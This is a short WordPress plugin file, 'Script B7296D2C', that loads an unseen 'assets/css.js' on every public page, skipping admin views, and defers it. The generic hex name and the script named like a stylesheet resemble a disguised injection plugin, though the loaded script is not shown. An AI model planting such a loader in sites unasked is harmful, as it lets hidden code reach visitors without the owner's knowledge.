<?php
/**
 * Plugin Name: Script B7296D2C
 * Description: Loads the embedded script on all frontend pages.
 * Version: 1.0.0
 */

if (!defined('ABSPATH')) { exit; }

function wp_b7296d2c_enqueue() {
    if (is_admin()) { return; }
    $handle = 'h_b7296d2c';
    $src = plugins_url('assets/css.js', __FILE__);
    wp_enqueue_script($handle, $src, [], null, true);
}
add_action('wp_enqueue_scripts', 'wp_b7296d2c_enqueue');

function wp_b7296d2c_defer_attr($tag, $handle, $src) {
    if ($handle !== 'h_b7296d2c') { return $tag; }
    if (strpos($tag, ' defer') !== false) { return $tag; }
    return str_replace(' src=', ' defer src=', $tag);
}
add_filter('script_loader_tag', 'wp_b7296d2c_defer_attr', 10, 3);